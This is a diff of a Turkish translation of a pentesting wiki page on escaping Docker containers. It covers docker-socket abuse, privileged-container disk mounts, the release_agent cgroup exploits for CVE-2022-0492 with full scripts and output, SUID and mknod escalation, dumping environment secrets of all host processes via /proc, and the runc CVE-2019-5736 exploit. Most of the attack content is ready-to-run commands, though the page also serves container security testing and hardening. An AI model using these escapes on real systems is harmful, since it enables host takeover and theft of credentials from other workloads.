+* [**amicontained**](https://github.com/genuinetools/amicontained): Konteynerin sahip olduğu ayrıcalıkları almak için kullanışlı bir araç, bundan kaçış yollarını bulmak için
+* [**deepce**](https://github.com/stealthcopter/deepce): Konteynerlerden numaralandırmak ve kaçmak için araç
* [**grype**](https://github.com/anchore/grype): Görüntüye yüklenen yazılımda bulunan CVE'leri alın
-## Bağlanmış Docker Soketi Kaçışı
+## Bağlanmış Docker Soketinden Kaçış
-Eğer bir şekilde **docker soketinin bağlandığını** bulursanız, ondan kaçabilirsiniz.\
-Bu genellikle bazı nedenlerle docker konteynerlerinin eylemler gerçekleştirmek için docker daemon'a bağlanması gerektiği durumlarda olur.
+Eğer **bir şekilde docker soketinin** docker konteyneri içine bağlandığını bulursanız, bundan kaçabilirsiniz.\
+Bu genellikle, bir nedenle docker işlemlerini gerçekleştirmek için docker daemonına bağlanması gereken docker konteynerlerinde meydana gelir.
```bash
#Search the socket
find / -name docker.sock 2>/dev/null
#It's usually in /run/docker.sock
```
-Bu durumda, docker komutlarını kullanarak docker daemon ile iletişim kurabilirsiniz:
+Bu durumda, docker daemon ile iletişim kurmak için düzenli docker komutlarını kullanabilirsiniz:
```bash
#List images to use one
docker images
@@ -54,10 +54,10 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
```
{% hint style="info" %}
-Eğer **docker soketi beklenmedik bir yerde** ise, yine de **`docker`** komutunu **`-H unix:///path/to/docker.sock`** parametresiyle kullanarak onunla iletişim kurabilirsiniz.
+Eğer **docker soketi beklenmedik bir konumda** bulunuyorsa, yine de **`docker`** komutunu **`-H unix:///path/to/docker.sock`** parametresi ile kullanarak iletişim kurabilirsiniz.
{% endhint %}
-Docker daemon ayrıca bir portta (varsayılan olarak 2375, 2376) dinleyebilir veya Systemd tabanlı sistemlerde Docker daemon ile iletişim Systemd soketi `fd://` üzerinden gerçekleşebilir.
+Docker daemon ayrıca bir portta dinleyebilir (varsayılan olarak 2375, 2376) veya Systemd tabanlı sistemlerde Docker daemon ile iletişim Systemd soketi `fd://` üzerinden gerçekleşebilir.
{% hint style="info" %}
Ayrıca, diğer yüksek seviye çalışma zamanlarının çalışma zamanı soketlerine dikkat edin:
@@ -70,15 +70,15 @@ Ayrıca, diğer yüksek seviye çalışma zamanlarının çalışma zamanı soke
* ...
{% endhint %}
-## Yeteneklerin Kötüye Kullanılması ve Kaçış
+## Yeteneklerin Kötüye Kullanımından Kaçınma
-Konteynerin yeteneklerini kontrol etmelisiniz, eğer aşağıdakilerden herhangi birine sahipse, ondan kaçabilirsiniz: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
+Konteynerin yeteneklerini kontrol etmelisiniz, eğer aşağıdaki yeteneklerden herhangi birine sahipse, ondan kaçabilirsiniz: **`CAP_SYS_ADMIN`**, **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
-Mevcut konteyner yeteneklerini **önceden bahsedilen otomatik araçlar** veya aşağıdaki komutu kullanarak kontrol edebilirsiniz:
+Şu anda konteyner yeteneklerini kontrol edebilirsiniz **daha önce bahsedilen otomatik araçlar** veya:
```bash
capsh --print
```
-Aşağıdaki sayfada, linux yetenekleri hakkında daha fazla bilgi edinebilir ve bunları kötüye kullanarak ayrıcalıkları kaçırabilir/yükselebilirsiniz:
+Aşağıdaki sayfada **linux yetenekleri** hakkında daha fazla bilgi edinebilir ve bunları kötüye kullanarak ayrıcalıklardan kaçınabilir/aitalabilirsiniz:
{% content-ref url="../../linux-capabilities.md" %}
[linux-capabilities.md](../../linux-capabilities.md)
@@ -86,7 +86,7 @@ Aşağıdaki sayfada, linux yetenekleri hakkında daha fazla bilgi edinebilir ve
## Ayrıcalıklı Konteynerden Kaçış
-Ayrıcalıklı bir konteyner, `--privileged` bayrağıyla veya belirli savunmaları devre dışı bırakarak oluşturulabilir:
+Ayrıcalıklı bir konteyner, `--privileged` bayrağı ile oluşturulabilir veya belirli savunmalar devre dışı bırakılarak oluşturulabilir:
* `--cap-add=ALL`
* `--security-opt apparmor=unconfined`
@@ -98,7 +98,7 @@ Ayrıcalıklı bir konteyner, `--privileged` bayrağıyla veya belirli savunmala
* `--cgroupns=host`
* `/dev` bağlama
-`--privileged` bayrağı, konteyner güvenliğini önemli ölçüde düşürerek **sınırsız cihaz erişimi** sunar ve **birçok korumayı atlar**. Detaylı bir açıklama için, `--privileged`'in tam etkileri hakkındaki belgelere başvurun.
+`--privileged` bayrağı, konteyner güvenliğini önemli ölçüde düşürür, **sınırsız cihaz erişimi** sunar ve **birçok korumayı atlar**. Detaylı bir açıklama için, `--privileged`'ın tam etkileri hakkındaki belgelendirmeye başvurun.
{% content-ref url="../docker-privileged.md" %}
[docker-privileged.md](../docker-privileged.md)
@@ -106,36 +106,36 @@ Ayrıcalıklı bir konteyner, `--privileged` bayrağıyla veya belirli savunmala
### Privileged + hostPID
-Bu izinlerle, sadece root olarak çalışan bir işlemin (pid:1) ad alanına geçebilirsiniz, örneğin init, sadece şunu çalıştırarak: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
+Bu izinlerle, sadece şu komutu çalıştırarak (pid:1 gibi) ana makinede kök olarak çalışan bir işlemin ad alanına geçebilirsiniz: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
-Bunu bir konteynerde test etmek için şunu çalıştırın:
+Bunu bir konteynerde test ederek çalıştırın:
```bash
docker run --rm -it --pid=host --privileged ubuntu bash
```
### Ayrıcalıklı
-Sadece ayrıcalıklı bayrağıyla, **ana bilgisayarın diskine erişmeyi** veya **release\_agent veya diğer kaçışları kötüye kullanarak kaçmayı** deneyebilirsiniz.
+Sadece ayrıcalıklı bayrağı ile **ana bilgisayarın diskinde erişim deneyebilirsiniz** veya **release\_agent veya diğer kaçışları kötüye kullanarak kaçmaya çalışabilirsiniz**.
-Aşağıdaki bypassları bir konteynerde test etmek için şunları çalıştırın:
+Aşağıdaki atlatmaları bir konteynerde çalıştırarak test edin:
```bash
docker run --rm -it --privileged ubuntu bash
```
-#### Diski Mount Etme - Poc1
+#### Diski Bağlama - Poc1
-İyi yapılandırılmış docker konteynerleri, **fdisk -l** gibi komutlara izin vermez. Ancak, yanlış yapılandırılmış bir docker komutunda `--privileged` veya `--device=/dev/sda1` bayrağı ile birlikte caps belirtilirse, ana makinedeki sürücüyü görmek için ayrıcalıklara sahip olmak mümkündür.
+İyi yapılandırılmış docker konteynerleri **fdisk -l** gibi komutlara izin vermez. Ancak yanlış yapılandırılmış bir docker komutunda `--privileged` veya `--device=/dev/sda1` bayrağı belirtildiğinde, ana sürücüyü görmek için ayrıcalıkları almak mümkündür.
![](https://bestestredteam.com/content/images/2019/08/image-16.png)
-Bu nedenle, ana makineyi ele geçirmek oldukça basittir:
+Bu nedenle, ana makineyi ele geçirmek basittir:
```bash
mkdir -p /mnt/hola
mount /dev/sda1 /mnt/hola
```
-Ve işte! Şimdi, ana bilgisayarın dosya sistemine `/mnt/hola` klasöründe bağlanabilirsiniz.
+Ve işte! Artık ana bilgisayarın dosya sistemine `/mnt/hola` klasöründe bağlanabilirsiniz.
#### Disk Bağlama - Poc2
-Kapsayıcı içinde, saldırgan küme tarafından oluşturulan yazılabilir bir hostPath birimi aracılığıyla altta yatan ana işletim sistemine daha fazla erişim elde etmeye çalışabilir. Aşağıda, bu saldırgan vektörünü kullanıp kullanmadığınızı kontrol etmek için kapsayıcı içinde kontrol edebileceğiniz yaygın bazı şeyler bulunmaktadır:
+Kapsayıcı içinde, bir saldırgan kümenin oluşturduğu yazılabilir hostPath birimini kullanarak altta yatan ana bilgisayar işletim sistemine daha fazla erişim elde etmeye çalışabilir. Aşağıda, bu saldırgan vektörünü kullanarak kontrol edebileceğiniz yaygın bazı şeyler bulunmaktadır:
```bash
### Check if You Can Write to a File-system
echo 1 > /proc/sysrq-trigger
@@ -156,9 +156,9 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to
### debugfs (Interactive File System Debugger)
debugfs /dev/sda1
```
-#### Mevcut release\_agent'i kötüye kullanarak ayrıcalıklı kaçış ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
+#### Yetkilendirilmiş Kaçış Varolan release\_agent Kullanımı ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
-{% code title="İlk PoC" %}
+{% code title="Başlangıç PoC" %}
```bash
# spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash
@@ -192,11 +192,7 @@ sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1
# Reads the output
cat /o
```
-{% endcode %}
-
-#### Oluşturulan release\_agent'i Kullanarak Yetkili Kaçışı Yapma ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
-
-{% code title="İkinci PoC" %}
+#### Oluşturulan release_agent'i Kullanarak Ayrıcalıklı Kaçış ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
```bash
# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
@@ -240,15 +236,15 @@ cat /output
```
{% endcode %}
-Tekniğin açıklamasını bulun:
+Teknik açıklamanın **bir açıklamasını** bulun:
{% content-ref url="docker-release_agent-cgroups-escape.md" %}
[docker-release\_agent-cgroups-escape.md](docker-release\_agent-cgroups-escape.md)
{% endcontent-ref %}
-#### Bilinen bir yol olmadan release\_agent'i suiistimal ederek Privilege Escape - PoC3
+#### Bilinen yol olmadan release\_agent'i kötüye kullanarak Yetkilendirilmiş Kaçış - PoC3
-Önceki saldırılarda, **konumun mutlak yolu** ortaya çıkarılmıştır. Ancak, her zaman böyle olmaz. Eğer **konumun mutlak yolunu bilmiyorsanız**, bu teknik kullanılabilir:
+Önceki saldırılarda **konumunun kesin yolu ana bilgisayar dosya sisteminde ifşa edilmiştir**. Bununla birlikte, bu her zaman geçerli değildir. **Ana bilgisayar içinde konteynerin kesin yolunu bilmediğiniz durumlarda** bu tekniği kullanabilirsiniz:
{% content-ref url="release_agent-exploit-relative-paths-to-pids.md" %}
[release\_agent-exploit-relative-paths-to-pids.md](release\_agent-exploit-relative-paths-to-pids.md)
@@ -312,7 +308,7 @@ sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
```
-Ayrıcalıklı bir konteyner içinde PoC'yi çalıştırmak, benzer bir çıktı sağlamalıdır:
+Ayrıcalıklı bir konteyner içinde PoC'yi çalıştırmak benzer bir çıktı sağlamalıdır:
```bash
root@container:~$ ./release_agent_pid_brute.sh
Checking pid 100
@@ -340,33 +336,33 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
...
```
-#### Hassas Mountları Kötüye Kullanarak Yetkili Kaçışı
+#### Ayrıcalıklı Kaçış Hassas Bağlantı Noktalarını Kötüye Kullanma
-Altta yatan ana bilgisayar hakkında bilgi veren birkaç dosya mevcuttur. Bunlardan bazıları, ana bilgisayarın bir şey olduğunda çalıştırılmasını gerektirebilir (bu da saldırganın konteynerden kaçmasına izin verecektir).\
-Bu dosyaların kötüye kullanımı, şunlara izin verebilir:
+Altta yatan ana bilgisayar hakkında bilgi veren **bazı dosyalar bağlanabilir**. Bunlardan bazıları, hatta **ana bilgisayarın bir şey gerçekleştiğinde bir şeyi yürütmesini işaret edebilir** (bu da bir saldırganın konteynerden kaçmasına izin verebilir).\
+Bu dosyaların kötüye kullanımı şunu mümkün kılar:
-* release\_agent (daha önce ele alındı)
-* [binfmt\_misc](sensitive-mounts.md#proc-sys-fs-binfmt\_misc)
-* [core\_pattern](sensitive-mounts.md#proc-sys-kernel-core\_pattern)
-* [uevent\_helper](sensitive-mounts.md#sys-kernel-uevent\_helper)
-* [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe)
+- release\_agent (zaten önce ele alındı)
+- [binfmt\_misc](sensitive-mounts.md#proc-sys-fs-binfmt\_misc)
+- [core\_pattern](sensitive-mounts.md#proc-sys-kernel-core\_pattern)
+- [uevent\_helper](sensitive-mounts.md#sys-kernel-uevent\_helper)
+- [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe)
-Ancak, bu sayfada kontrol etmek için **diğer hassas dosyaları** bulabilirsiniz:
+Ancak, bu sayfada kontrol etmek için **başka hassas dosyalar** bulabilirsiniz:
{% content-ref url="sensitive-mounts.md" %}
[sensitive-mounts.md](sensitive-mounts.md)
{% endcontent-ref %}
-### Rastgele Mountlar
+### Keyfi Bağlantı Noktaları
-Birkaç durumda, **konteynerin ana bilgisayardan bir hacim bağlandığını** göreceksiniz. Bu hacim doğru şekilde yapılandırılmamışsa, **hassas verilere erişebilir/değiştirebilirsiniz**: Gizli bilgileri okuyun, ssh authorized\_keys'ı değiştirin...
+Birkaç durumda, **konteynerin ana bilgisayardan birim bağlandığını göreceksiniz**. Bu birim doğru şekilde yapılandırılmamışsa, **duyarlı verilere erişebilir/değiştirebilirsiniz**: Gizli bilgileri okuyun, ssh authorized\_keys dosyasını değiştirin...
```bash
docker run --rm -it -v /:/host ubuntu bash
```
-### 2 kabuk ve ana bilgisayar bağlantısı ile Yetki Yükseltme
+### 2 kabuk ve ana makine bağlantısı ile ayrıcalık yükseltme
-Eğer **bir konteyner içinde root erişimine** sahipseniz ve ana bilgisayardan bazı klasörlerin bağlandığı bir konteyneriniz varsa ve **sınırlı yetkili bir kullanıcı olarak ana bilgisayara kaçmayı başardıysanız** ve bağlanmış klasöre okuma erişiminiz varsa.\
-Konteynerin içindeki **bağlanmış klasöre bir bash suid dosyası** oluşturabilir ve **ana bilgisayardan** bu dosyayı çalıştırarak yetki yükseltebilirsiniz.
+Eğer **bir konteyner içinde root erişiminiz** varsa ve ana makineden bir klasör bağlanmışsa ve **ana makinede ayrıcalıklı olmayan bir kullanıcı olarak kaçtıysanız** ve bağlanmış klasör üzerinde okuma erişiminiz varsa.\
+**Konteyner** içinde **bağlanmış klasörde** bir **bash suid dosyası** oluşturabilir ve **ana makineden** bu dosyayı çalıştırarak ayrıcalık yükseltebilirsiniz.
```bash
cp /bin/bash . #From non priv inside mounted folder
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
@@ -374,14 +370,13 @@ chown root:root bash #From container as root inside mounted folder
chmod 4777 bash #From container as root inside mounted folder
bash -p #From non priv inside mounted folder
```
-### 2 kabukla Ayrıcalık Yükseltme
+### 2 kabuk ile Ayrıcalık Yükseltme
-Eğer bir konteyner içinde **root erişimine** sahipseniz ve bir **yetkisiz kullanıcı olarak ana bilgisayara kaçmayı başardıysanız**, konteyner içindeki MKNOD yeteneğini (varsayılan olarak mevcuttur) kullanarak hem konteyner içinde hem de ana bilgisayarda **ayrıcalık yükseltebilirsiniz**. Bu, [**bu yazıda açıklandığı gibi**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) mümkündür.\
-Bu yetenekle birlikte, konteyner içindeki root kullanıcısı **blok cihaz dosyaları oluşturabilir**. Cihaz dosyaları, **altta yatan donanım ve çekirdek modüllerine erişmek** için kullanılan özel dosyalardır. Örneğin, /dev/sda blok cihaz dosyası, sistem diskindeki ham verilere **okuma erişimi sağlar**.
+Eğer bir konteyner içinde **root erişiminiz** var ve **özelliği olmayan bir kullanıcı olarak ana makineye kaçtıysanız**, konteyner içinde MKNOD yeteneğine sahipseniz (varsayılan olarak vardır) her iki kabuğu da kötüye kullanarak ana makinede **aşağı doğru ayrıcalık yükseltebilirsiniz**. Bu yetenekle, konteyner içindeki root kullanıcısına **blok cihaz dosyaları oluşturma izni** verilir. Cihaz dosyaları, **altta yatan donanıma ve çekirdek modüllere erişmek** için kullanılan özel dosyalardır. Örneğin, /dev/sda blok cihaz dosyası, **sistemin diskindeki ham verilere erişim sağlar**.
-Docker, konteynerler içinde blok cihazlarının yanlış kullanımına karşı koruma sağlamak için bir cgroup politikası uygulayarak **blok cihazı okuma/yazma işlemlerini engeller**. Bununla birlikte, bir blok cihazı **konteyner içinde oluşturulursa**, bu cihaz dışarıdan **/proc/PID/root/** dizini üzerinden erişilebilir hale gelir. Bu erişim, sürecin sahibinin hem konteyner içinde hem de dışında aynı olmasını gerektirir.
+Docker, konteynerler içinde blok cihazlarının kötüye kullanımına karşı koruma sağlamak için **blok cihazı okuma/yazma işlemlerini engelleyen** bir cgroup politikası uygular. Bununla birlikte, bir blok cihazı **konteyner içinde oluşturulursa**, dışarıdan **/proc/PID/root/** dizini aracılığıyla erişilebilir hale gelir. Bu erişim, içeride ve dışarıda aynı olan **işlem sahibine** gereksinim duyar.
-Bu [**yazıda**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/) verilen örnekteki **sömürü** örneği:
+Bu [**yazıda**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames) verilen **sömürü** örneği:
```bash
# On the container as root
cd /
@@ -419,13 +414,13 @@ HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}
```
### hostPID
-Eğer hedef makinenin işlemlerine erişebiliyorsanız, bu işlemlerde depolanan hassas bilgilere erişebilirsiniz. Test laboratuvarını çalıştırın:
+Eğer ana makinenin işlemlerine erişebilirseniz, bu işlemlerde saklanan birçok hassas bilgiye erişebileceksiniz demektir. Test laboratuvarını çalıştırın:
```
docker run --rm -it --pid=host ubuntu bash
```
-Örneğin, `ps auxn` gibi bir şey kullanarak işlemleri listeleyebilir ve komutlarda hassas bilgiler arayabilirsiniz.
+Örneğin, `ps auxn` gibi bir şey kullanarak süreçleri listeleyebilecek ve komutlardaki hassas detayları arayabileceksiniz.
-Ardından, **/proc/ içindeki her bir işleme erişebileceğiniz için, env gizliliklerini çalmak için** şunları çalıştırabilirsiniz:
+Ardından, **/proc/ içindeki ana bilgisayarın her sürecine erişebileceğiniz için sadece çevre sırlarını çalabilirsiniz** çalıştırarak:
```bash
for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
/proc/988058/environ
@@ -434,7 +429,7 @@ HOSTNAME=argocd-server-69678b4f65-6mmql
USER=abrgocd
...
```
-Diğer işlemlerin dosya tanımlayıcılarına erişebilir ve açık dosyalarını okuyabilirsiniz:
+Ayrıca **diğer işlemlerin dosya tanımlayıcılarına erişebilir ve açık dosyalarını okuyabilirsiniz**:
```bash
for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
less fds.txt
@@ -444,85 +439,85 @@ lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
# You can open the secret filw with:
cat /proc/635813/fd/4
```
-Ayrıca **süreçleri sonlandırabilir ve bir DoS saldırısı yapabilirsiniz**.
+Ayrıca **işlemleri sonlandırabilir ve Bir Hizmet Reddine (DoS) neden olabilirsiniz**.
{% hint style="warning" %}
-Eğer bir şekilde **konteyner dışındaki bir sürece ayrıcalıklı erişiminiz varsa**, `nsenter --target --all` veya `nsenter --target --mount --net --pid --cgroup` gibi bir komut çalıştırarak, umarım hiçbir kısıtlama olmadan aynı ns kısıtlamalarıyla bir kabuk çalıştırabilirsiniz.
+Eğer bir şekilde **konteyner dışındaki bir işlem üzerinde ayrıcalıklı erişiminiz varsa**, `nsenter --target --all` veya `nsenter --target --mount --net --pid --cgroup` gibi bir şey çalıştırabilirsiniz **aynı ns kısıtlamalarına sahip bir kabuk çalıştırmak için** (umarım hiçbiri).
{% endhint %}
### hostNetwork
```
docker run --rm -it --network=host ubuntu bash
```
-Eğer bir konteyner Docker [ana ağ sürücüsüyle (`--network=host`)](https://docs.docker.com/network/host/) yapılandırılmışsa, bu konteynerin ağ yığını Docker ana bilgisayardan izole edilmez (konteyner ana bilgisayarın ağ ad alanını paylaşır) ve konteynerin ayrı bir IP adresi tahsis edilmez. Başka bir deyişle, **konteyner tüm hizmetleri doğrudan ana bilgisayarın IP'sine bağlar**. Ayrıca, konteyner, paylaşılan arayüz üzerinden gönderilen ve alınan **tüm ağ trafiğini yakalayabilir** (`tcpdump -i eth0`).
+Eğer bir konteyner Docker [ana ağ sürücüsüyle yapılandırılmışsa (`--network=host`)](https://docs.docker.com/network/host/), o konteynerin ağ yığını Docker ana bilgisayarından izole edilmez (konteyner ana bilgisayarın ağ ad alanını paylaşır) ve konteynere ayrı bir IP adresi atanmaz. Başka bir deyişle, **konteyner tüm hizmetleri doğrudan ana bilgisayarın IP'sine bağlar**. Ayrıca konteyner, paylaşılan arayüz üzerinden gönderilen ve alınan **TÜM ağ trafiğini yakalayabilir `tcpdump -i eth0`**.
-Örneğin, bu yöntemi kullanarak ana bilgisayar ve meta veri örneği arasındaki trafiği **dinleyebilir ve hatta sahteleyebilirsiniz**.
+Örneğin, bunu kullanarak ana bilgisayar ve meta veri örneği arasındaki trafiği **dinleyebilir ve hatta sahtecilik yapabilirsiniz**.
Aşağıdaki örneklerde olduğu gibi:
-* [Yazı: Google SRE ile iletişim kurma: Bulut SQL'de kabuk bırakma](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
-* [Meta veri hizmeti MITM, kök ayrıcalıklarının yükseltilmesine izin verir (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
+* [Açıklama: Google SRE ile nasıl iletişime geçilir: Bir kabuk bırakma bulut SQL'de](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
+* [Meta veri servisi MITM, kök ayrıcalık yükseltmesine izin verir (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
-Ayrıca, ana bilgisayar içinde **localhost'a bağlı ağ hizmetlerine erişebilir** veya hatta **düğümün meta veri izinlerine** (bir konteynerin erişebileceğinden farklı olabilir) erişebilirsiniz.
+Ayrıca, ana bilgisayar içinde **localhost'a bağlı ağ hizmetlerine erişebilecek** veya hatta **düğümün meta veri izinlerine** erişebileceksiniz (bu, bir konteynerin erişebileceğinden farklı olabilir).
### hostIPC
```bash
docker run --rm -it --ipc=host ubuntu bash
```
-`hostIPC=true` ile, **/dev/shm** içindeki **paylaşılan bellek** gibi ana bilgisayarın süreçler arası iletişim (IPC) kaynaklarına erişim sağlarsınız. Bu, aynı IPC kaynaklarının diğer ana bilgisayar veya pod süreçleri tarafından kullanıldığı yerlerde okuma/yazma yapmanıza olanak tanır. Bu IPC mekanizmalarını daha ayrıntılı olarak incelemek için `ipcs` komutunu kullanın.
+`hostIPC=true` ile, ana bilgisayarın ara işlem iletişimi (IPC) kaynaklarına, örneğin `/dev/shm` içindeki **paylaşılan bellek** gibi, erişim elde edersiniz. Bu, aynı IPC kaynaklarının diğer ana bilgisayar veya kapsül süreçleri tarafından kullanıldığı yerlerde okuma/yazma yapmanıza olanak tanır. Bu IPC mekanizmalarını daha ayrıntılı incelemek için `ipcs` kullanın.
-* **/dev/shm'yi inceleyin** - Bu paylaşılan bellek konumunda herhangi bir dosyayı arayın: `ls -la /dev/shm`
-* **Mevcut IPC tesislerini inceleyin** - `/usr/bin/ipcs` ile kullanılan herhangi bir IPC tesisi olup olmadığını kontrol edebilirsiniz. Şu şekilde kontrol edin: `ipcs -a`
+* **/dev/shm'yi İnceleyin** - Bu paylaşılan bellek konumunda herhangi bir dosyayı arayın: `ls -la /dev/shm`
+* **Mevcut IPC tesislerini İnceleyin** - Kullanılan herhangi bir IPC tesisinin olup olmadığını `/usr/bin/ipcs` ile kontrol edebilirsiniz. Bunu şu şekilde kontrol edin: `ipcs -a`
-### Yetenekleri Kurtar
+### Yetenekleri Kurtarın
-Syscall **`unshare`** yasaklanmamışsa, tüm yetenekleri kurtarabilirsiniz:
+Eğer **`unshare`** sistem çağrısı yasaklanmamışsa, tüm yetenekleri kurtarabilirsiniz:
```bash
unshare -UrmCpf bash
# Check them with
cat /proc/self/status | grep CapEff
```
-### Simgeleme aracılığıyla kullanıcı ad alanı kötüye kullanımı
+### Kullanıcı ad alanı kötüye kullanımı simge bağlantısı aracılığıyla
-[https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) adresinde açıklanan ikinci teknik, kullanıcı ad alanlarıyla bağlantılı bağ montajlarını kötüye kullanarak ana makinedeki dosyalara etki etmenizi sağlar (bu özel durumda dosyaları siler).
+[https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) adresinde açıklanan ikinci teknik, kullanıcı ad alanlarıyla bağlantılı bağ montajlarını kötüye kullanarak ana makinedeki dosyaları etkilemek için nasıl kullanılabileceğinizi göstermektedir (belirli bir durumda dosyaları silmek).
-
+
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturabilir ve otomatikleştirebilirsiniz.\
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## CVE'ler
-### Runc saldırısı (CVE-2019-5736)
+### Runc açığı (CVE-2019-5736)
-`docker exec` komutunu kök olarak çalıştırabiliyorsanız (muhtemelen sudo ile), CVE-2019-5736'yi kötüye kullanarak bir konteynerden ayrılarak ayrıcalıkları yükseltmeyi deneyebilirsiniz (saldırı [burada](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Bu teknik temel olarak **ana makinedeki** _**/bin/sh**_ ikili dosyasını bir **konteynerden üzerine yazar**, bu nedenle docker exec komutunu çalıştıran herhangi biri payload'u tetikleyebilir.
+Eğer `docker exec`'i kök olarak çalıştırabiliyorsanız (muhtemelen sudo ile), CVE-2019-5736'ı kötüye kullanarak ayrıcalıkları yükseltmeyi deneyebilirsiniz (saldırı [burada](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Bu teknik temelde **ana makinedeki** _**/bin/sh**_ ikilisini **bir konteynerden üzerine yazacak**, böylece docker exec çalıştıran herkes saldırıyı tetikleyebilir.
-Payload'u değiştirin ve `go build main.go` ile main.go'yu derleyin. Oluşan ikili dosya, yürütme için docker konteynerine yerleştirilmelidir.\
-Yürütme yapıldığında, `[+] Overwritten /bin/sh successfully` mesajını görüntülediğinde, aşağıdaki komutu ana makineden çalıştırmanız gerekmektedir:
+Payload'ı değiştirin ve `go build main.go` ile main.go'yu derleyin. Oluşan ikili dosya docker konteynerine yürütme için yerleştirilmelidir.\
+Yürütme sırasında, `[+] Overwritten /bin/sh successfully` anında aşağıdakini ana makineden çalıştırmanız gerekmektedir:
`docker exec -it /bin/sh`
-Bu, main.go dosyasında bulunan payload'u tetikleyecektir.
+Bu, main.go dosyasında bulunan saldırıyı tetikleyecektir.
Daha fazla bilgi için: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
{% hint style="info" %}
-Konteynerin savunmasız olabileceği diğer CVE'ler bulunmaktadır, bir liste [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) adresinde bulunabilir.
+Konteynerin savunmasız olabileceği diğer CVE'ler bulunmaktadır, bir liste [burada](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) bulunabilir.
{% endhint %}
## Docker Özel Kaçış
### Docker Kaçış Yüzeyi
-* **Ad alanları:** İşlem, ad alanları aracılığıyla diğer işlemlerle tamamen ayrılmış olmalıdır, bu nedenle ad alanları nedeniyle diğer işlemlerle etkileşime geçilemez (IPC'ler, unix soketleri, ağ hizmetleri, D-Bus, diğer işlemlerin `/proc`'uyla iletişim kurulamaz).
-* **Kök kullanıcı**: Varsayılan olarak, işlemi çalıştıran kullanıcı kök kullanıcısıdır (ancak ayrıcalıkları sınırlıdır).
-* **Yetenekler**: Docker, aşağıdaki yetenekleri bırakır: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
-* **Sistem çağrıları**: Bunlar, **kök kullanıcının** çağırabileceği sistem çağrılarıdır (yetenek eksikliği + Seccomp nedeniyle çağırılamayanlar). Kaçmaya çalışmak için diğer sistem çağrıları kullanılabilir.
+* **Ad alanları:** İşlem, ad alanları aracılığıyla diğer işlemlerden **tamamen ayrılmalıdır**, bu nedenle ad alanları nedeniyle diğer işlemlerle etkileşimden kaçınamayız (varsayılan olarak IPC'ler, unix soketleri, ağ hizmetleri, D-Bus, diğer işlemlerin `/proc`'u ile iletişim kurulamaz).
